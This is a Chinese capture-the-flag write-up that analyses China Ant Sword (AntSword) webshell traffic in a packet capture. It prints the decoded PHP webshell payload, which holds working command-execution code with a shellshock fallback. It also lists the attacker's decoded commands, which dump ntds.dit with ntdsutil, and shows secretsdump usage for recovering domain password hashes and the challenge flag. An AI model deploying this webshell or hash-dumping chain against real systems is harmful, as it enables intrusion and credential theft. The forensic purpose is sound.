浅析中国蚁剑的木马加密流量

简介

在蓝帽杯 2022 初赛中,domainhacker 的流量分析题目聚焦于中国蚁剑这款 webshell 管理工具的流量特征。通过对比赛提供的数据包进行解析,本文将深入分析蚁剑在连接木马时产生的加密流量。

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?

[蓝帽杯 2022 初赛]domainhacker2
根据题目信息,我们直接追踪TCP流量
在这里插入图片描述

将POST的数据进行Decode

a=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)) {continue;};$tmdir=$item."/.c46a89a";@mkdir($tmdir);if(!@file_exists($tmdir)) {continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for ($i=0;$i<sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};
}
;
;
function asenc($out) {return $out;
}
;
function asoutput() {$output=ob_get_contents();ob_end_clean();echo "79c2"."0b92";echo @asenc($output);echo "b4e7e"."465b62";
}
ob_start();
try {$p=base64_decode(substr($_POST["yee092cda97a62"],2));$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));$envstr=@base64_decode(substr($_POST["p48a6d55fac1b1"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/") {@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");} else {@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)) {$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f) {$d=explode(",",@ini_get("disable_functions"));if(empty($d)) {$d=array();} else {$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c) {$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')) {@system($c,$ret);} elseif(fe('passthru')) {@passthru($c,$ret);} elseif(fe('shell_exec')) {print(@shell_exec($c));} elseif(fe('exec')) {@exec($c,$o,$ret);print(join("",$o));} elseif(fe('popen')) {$fp=@popen($c,'r');while(!@feof($fp)) {print(@fgets($fp,2048));}@pclose($fp);} elseif(fe('proc_open')) {$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])) {print(@fgets($io[1],2048));}while(!@feof($io[2])) {print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);} elseif(fe('antsystem')) {@antsystem($c);} elseif(runshellshock($d, $c)) {return $ret;} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);} else {$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;
}
catch(Exception $e) {echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

典型的蚁剑马,并在其中发现了读取操作的相关代码

$s=base64_decode(substr($_POST["q8fb9d4c082c11"],2));

然后我们将每次q8fb9d4c082c11的操作找出来

cd /d "C:/phpstudy_pro/WWW"&whoami /priv&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&powershell -c "whoami /priv"&echo efa923ba504&cd&echo 1a4be8815ef8
cd /d "C:\\phpstudy_pro\\WWW"&tasklist&echo efa923ba504&cd&echo 1a4be8815ef8
......
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

我们将所有的HTTP对象导出来

发现有一个RAR文件而且有加密

我们注意这个操作

&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8

1.rar 1.txt解压缩1.txt到1.rar中并且使用SecretsPassw0rds加密

然后我们使用SecretsPassw0rds去解压1.rar

在这里插入图片描述
得到解压密码

[蓝帽杯 2022 初赛]domainhacker2

前置知识:

在域环境中,活动目录是域中提供目录服务的组件,其可以帮助用户快速准确地从目录中找到其所需要的信息。在规模较大的网络中,要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等分门别类、井然有序的存放在一个大仓库中,并做好信息索引,一遍查找、管理和使用这些资源对象。拥有这个层次结构的数据库就是活动目录数据库。

Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样,Ntds.dit是默认被Windows系统锁定的。

我们拿到两个附件,一个是misc-2.pcapng流量包,一个是 ntds.rar加密文件

然后我们简单浏览流量包之后,统计http请求

在这里插入图片描述

我们查看关于1.php的流量包

在这里插入图片描述

分析流量包的内容

在这里插入图片描述

看上去是webshell流量

aaa = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir)  {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split("/;|:/", $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach($oparr as $item) {if (!@is_writable($item))  {continue;};$tmdir = $item."/.6e92708f25a";@mkdir($tmdir);if (!@file_exists($tmdir))  {continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for($i = 0;$i < sizeof($cntarr);$i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};
};;
function asenc($out) {return $out;
};
function asoutput() {$output = ob_get_contents();ob_end_clean();echo "ba"."47a";echo @asenc($output);echo "abe28"."ca2197";
}ob_start();
try {$p = base64_decode(substr($_POST["i00fdbe370f732"], 2));$s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));$envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));$d = dirname($_SERVER["SCRIPT_FILENAME"]);$c = substr($d, 0, 1) == "/"?"-c \"{$s}\"":"/c \"{$s}\"";if (substr($d, 0, 1) == "/")  {@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");} else {@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if (!empty($envstr))  {$envarr = explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v))  {@putenv(str_replace("|||askey|||", "=", $v));}}}$r = "{$p} {$c}";function fe($f) {$d = explode(",", @ini_get("disable_functions"));if (empty($d))  {$d = array();} else {$d = array_map('trim', array_map('strtolower', $d));}return(function_exists($f)&&is_callable($f)&&!in_array($f, $d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail')))  {if (strstr(readlink("/bin/sh"), "bash") != FALSE)  {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log'))  {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "")  {print($output);return True;}}return False;};function runcmd($c) {$ret = 0;$d = dirname($_SERVER["SCRIPT_FILENAME"]);if (fe('system'))  {@system($c, $ret);} elseif (fe('passthru'))  {@passthru($c, $ret);} elseif (fe('shell_exec'))  {print(@shell_exec($c));} elseif (fe('exec'))  {@exec($c, $o, $ret);print(join("
", $o));} elseif (fe('popen'))  {$fp = @popen($c, 'r');while (!@feof($fp))  {print(@fgets($fp, 2048));}@pclose($fp);} elseif (fe('proc_open'))  {$p = @proc_open($c, array(1 = > array('pipe', 'w'), 2 = > array('pipe', 'w')), $io);while (!@feof($io[1]))  {print(@fgets($io[1], 2048));}while (!@feof($io[2]))  {print(@fgets($io[2], 2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);} elseif (fe('antsystem'))  {@antsystem($c);} elseif (runshellshock($d, $c))  {return $ret;} elseif (substr($d, 0, 1) != "/" && @class_exists("COM"))  {$w = new COM('WScript.shell');$e = $w -  > exec($c);$so = $e -  > StdOut();$ret .= $so -  > ReadAll();$se = $e -  > StdErr();$ret .= $se -  > ReadAll();print($ret);} else {$ret = 127;}return $ret;};$ret = @runcmd($r." 2>&1");print ($ret != 0)?"ret={$ret}":"";;
} catch(Exception $e) {echo "ERROR://".$e -  > getMessage();
};
asoutput();
die();

找到关键部分,我们只需要解码即可

    $p = base64_decode(substr($_POST["i00fdbe370f732"], 2));$s = base64_decode(substr($_POST["eaf06745bcdc2e"], 2));$envstr = @base64_decode(substr($_POST["y2ad6c8051181b"], 2));

我们只需要删除前面两个字符,并进行base64解码即可

简单分析几个流量包

cd /d "c:\\Windows\\Temp"&move ntds.rar c:\phpstudy_pro\www\&echo 1d3632&cd&echo 78bc462abcd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462abcd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab
#制作压缩包的命令,密码为 FakePassword123$cd /d "c:\\Windows\\Temp"&dir&echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&cd c:\windows\temp\&echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&type err.txt&echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&dir &echo 1d3632&cd&echo 78bc462abcd /d "C:\\phpstudy_pro\\WWW"&cmd.exe /c ntdsutil.exe < log.txt >err.txt

解压ntds我们就拿到了一个活动目录中的ntds.dic和注册表中SYSTEM以及SECURITY

然后我们利用网络上的解析ntds.dic的脚本查看本地的历史记录

python secretsdump.py 
-system ../../../../MISC/综合/NTDS解析/domainhacker2/registry/SYSTEM 
-ntds ../../../../MISC/综合/NTDS解析/domainhacker2/Active\ Directory/ntds.dit 
LOCAL -history

然后我们查看最近的Administrator的密码hash

在这里插入图片描述

拿到flag :flag{07ab403ab740c1540c378b0f5aaa4087}


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/393941.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

idea使用free流程,2024idea免费使用

1.先到官网下载&#xff0c;这里选择win系统的&#xff0c;点击下图的.exe https://www.jetbrains.com/idea/download/?sectionwindows 2.下载好后基本上就是一直点击“下一步”到直到安装好&#xff0c;安装好后先打开软件后关闭退出 3.下载配配套资料 链接: https://pan.ba…

MySQL内存模型与相关技术

MySQL实例的大概结构如下 如上图所示&#xff0c;InnoDB的存储引擎右多个内存块 维护所有进程/线程需要访问多个内部数据结构缓存磁盘上的数据&#xff0c;方便快速读取&#xff0c;且修改的数据缓存在此&#xff0c;满了后统一写入磁盘重做日志&#xff08;redo log&#xf…

5.3 需求分析

需求分析 软件需求定义分类练习题 需求工程需求获取练习题 需求分析状态转化图数据流图DFD顶层数据流图0层数据流图1层数据流图 练习题 需求规约需求定义方法 需求验证需求管理版本控制需求跟踪变更控制练习题 考试大概3分 软件需求 定义 软件需求&#xff1a;是指用户对目标…

【QT常用技术讲解】tableWidget右键菜单及多进程编程

前言 本文在QT项目的开发框架的基础上&#xff08;源代码&#xff09;增加tableWidget的右键菜单功能&#xff0c;并使用进程实现ping计算机的功能来讲解&#xff0c;本文不对进程间通信进行讲解。 概述 一个项目在开发过程中&#xff0c;通常面临着引入“第三方应用”&#x…

春秋云境 | 文件上传 | CVE-2022-30887

目录 靶标介绍 开启靶场 上传一句话木马 蚁剑连接 找到 flag 靶标介绍 多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口&#xff0c;客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库&#xff0…

【代码随想录训练营第42期 Day22打卡 回溯Part1 - LeetCode 77. 组合 216.组合总和III 17.电话号码的字母组合

目录 一、做题心得 二、回溯基础知识 1.定义 2.适用问题 3.一个思想 4.代码实现 三、题目与题解 题目一&#xff1a;77. 组合 题目链接 题解&#xff1a;回溯 题目二&#xff1a;216.组合总和III 题目链接 题解&#xff1a;回溯 题目三&#xff1a;17.电话号码的字…

第十九天(2024.8.7)Vue Element-plus

1.Vue 1.创建vue文件 1.创建一个文件夹来存储vue文件 我在D盘下创建了一个EasyVue文件夹来存储vue文件 2.在控制台中输入 如果在控制台中按下面步骤成功不了的话&#xff0c;尝试&#xff1a;1.用管理员身份运行控制台 2.关闭防火墙 3.打开编码工具&#xff08;Visual St…

WPF学习(5)- Border控件(边框布局)+GridSplitter分割窗口

严格来说&#xff0c;Border并不是一个布局控件&#xff0c;因为它并不是Panel的子类&#xff0c;而是Decorator装饰器的子类&#xff0c;而Decorator继承于FrameworkElement。我们要先看看它的父类Decorator。 public class Decorator : FrameworkElement, IAddChild {public…

CUDA编程05 - GPU内存架构和数据局部性

一&#xff1a;概述 到目前为止&#xff0c;我们已经学会了如何编写 CUDA 核函数&#xff0c;以及如何设置和分配大量线程来执行核函数。我们还了解了当前 GPU 硬件的计算架构&#xff0c;以及线程在硬件上调度执行过程。在本章中&#xff0c;我们将重点关注 GPU 的片上(on-chi…

Redisson 实现分布式锁

文章目录 Redisson 是什么Redisson 使用客户端模式单节点模式哨兵模式主从模式集群模式Spring Boot 整合 Redisson 中的锁Redisson 可重入锁Redisson 公平锁Redisson 联锁Redisson 读写锁Redisson Redlock Redisson 的看门狗机制RedLock 解决单体故障问题如何使用 RedLockMarti…

【C语言篇】操作符详解(上篇)

文章目录 操作符详解&#xff08;上篇&#xff09;前言sizeof强制类型转换算术操作符赋值操作符逻辑操作符逻辑取反运算符逻辑与运算符逻辑或运算符 关系操作符自增自减操作符和-逗号表达式 操作符详解&#xff08;上篇&#xff09; 前言 操作符又被叫做运算符&#xff0c;是不…

进程状态(三)----- linux 中具体的进程状态(下)

目录 前言1. T && t 状态2. X 与 Z 状态3. 孤儿进程 前言 继上一篇文章 进程状态&#xff08;二&#xff09;----- linux 中具体的进程状态&#xff08;上&#xff09; 介绍了 linux 系统中具体的 R、S、D 状态&#xff0c;而这篇文章继续介绍 linux 系统中剩下的三种…

SpringBoot简单项目(二维码扫描)

pom.xml中导入依赖 <!-- zxing --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.3.0</version></dependency><dependency><groupId>com.google.zxing</gro…

探索七款前沿UI设计软件:创新与实践

之前我们分享了制作原型的有用工具。制作完原型后&#xff0c;我们需要优化界面&#xff0c;这就是 UI 设计师的任务了。UI 设计软件对设计师来说非常重要。UI 设计工具的使用是否直接影响到最终结果的质量&#xff0c;所以有人会问&#xff1a;UI 界面设计使用什么软件&#x…

Java批量查询CSDN质量分

文章目录 前言代码实现pom.xml实体类工具类质量分查询 效果开源仓库 前言 在CSDN平台申请“专家博主”、“优质创作者”等称号的时候&#xff0c;往往会对博客的质量分有一定的要求&#xff0c;这时候我们需要审视以往所发表的博客&#xff0c;找出质量分较低的博客&#xff0…

nordic 蓝牙ble 配对绑定的流程 原理

目录 配对和绑定的基本概念 配对和绑定的流程 1. 配对请求和响应 2. 配对方法选择 3. 密钥生成和交换 4. 配对完成和绑定 配对和绑定的代码实现 初始化Peer Manager 处理Peer Manager事件 处理BLE事件 启动广播 在Nordic芯片上实现蓝牙低功耗(BLE)设备的配对和绑定…

Python 为Excel单元格设置填充\背景色 (纯色、渐变、图案)

在使用Excel进行数据处理和分析时&#xff0c;对特定单元格进行背景颜色填充不仅能够提升工作表的视觉吸引力&#xff0c;还能帮助用户快速识别和区分不同类别的数据&#xff0c;增强数据的可读性和理解性。 本文将通过以下三个示例详细介绍如何使用Python在Excel中设置不同的单…

sql注入——sqlilabs1-15

目录 sql注入靶场练习--sqlilabs 1.less-1​编辑 1.测试发现单引号为逃逸符号 2.确定查询列数为三列 3.查询到数据库名 4.查询数据库中的表名 5.查询用户表的列名字 6.查询用户信息 2.less-2​编辑 2.确定查询列数为三列 3.查询到数据库名 4.查询数据库中的表名 5.…

机械学习—零基础学习日志(高数23——无穷小运算)

零基础为了学人工智能&#xff0c;真的开始复习高数 这段时间&#xff0c;把张宇老师讲解考研的第一部分基本全部学习完毕了。 这里把第一部分的内容最后汇总一下。 无穷小运算——吸收律 这里展示一些无穷小的具体计算思路 无穷小运算——计算方法 泰勒展开的原则 夹逼准则…

SQL报错注入之floor

目录 1.简述 2.关键函数说明 1.rand函数 2.floor&#xff08;rand&#xff08;0&#xff09;*2&#xff09;函数 3.group by 函数 4.count&#xff08;*&#xff09;函数 3.报错分析 4.报错流程 4.1寻找注入点 4.2爆数据库名 4.3爆表名 4.4爆字段名 4.5查询数据 1.…